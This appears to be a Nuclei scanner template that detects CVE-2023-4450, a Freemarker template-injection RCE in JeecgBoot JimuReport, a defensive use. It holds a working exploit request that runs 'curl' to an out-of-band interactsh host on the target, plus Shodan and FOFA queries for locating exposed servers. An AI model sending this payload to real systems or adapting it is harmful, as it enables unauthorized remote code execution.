52 lines
2.1 KiB
YAML
52 lines
2.1 KiB
YAML
id: CVE-2023-4450
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info:
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name: JeecgBoot JimuReport - Template injection
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author: Sumanth Vankineni
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severity: critical
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description: |
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A vulnerability was found in jeecgboot JimuReport up to 1.6.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the component Template Handler. The manipulation leads to injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.
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impact: |
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Unauthorized api called /jmreport/queryFieldBySql led to remote arbitrary code execution due to parsing SQL statements using Freemarker.
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remediation: |
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Upgrading to version 1.6.1 is able to address this issue. It is recommended to upgrade the affected component.
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reference:
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- https://github.com/advisories/GHSA-j8h5-8rrr-m6j9
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- https://whoopsunix.com/docs/java/named%20module/
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- https://nvd.nist.gov/vuln/detail/CVE-2023-4450
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metadata:
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verified: true
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max-request: 1
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vendor: jeecg
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product: jeecg
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shodan-query:
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- title:"Jeecg-Boot"
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- http.title:"jeecg-boot"
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fofa-query:
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- title="JeecgBoot 企业级低代码平台"
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- title="jeecg-boot"
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- title="jeecgboot 企业级低代码平台"
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google-query: intitle:"jeecg-boot"
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tags: cve,cve2023,rce,jeecgboot
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http:
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- raw:
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- |
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POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json
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{
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"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://{{interactsh-url}}\")} ",
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"type": "0"
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}
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matchers:
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- type: dsl
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dsl:
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- 'contains(interactsh_protocol, "http") || contains(interactsh_protocol, "dns")'
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- 'status_code == 200'
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- 'contains(content_type,"application/json")'
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- 'contains(body,"success")'
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condition: and
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# digest: 4a0a004730450220135a9c5fa1c023dc55fe5eb17706449db2ea049b85cba660a61443ddea7479a3022100ddc514634d1076ee8fa7a54a93604c5c3ea9fe824c53cba4acc708c0e1550d3d:922c64590222798bb761d5b6d8e72950 |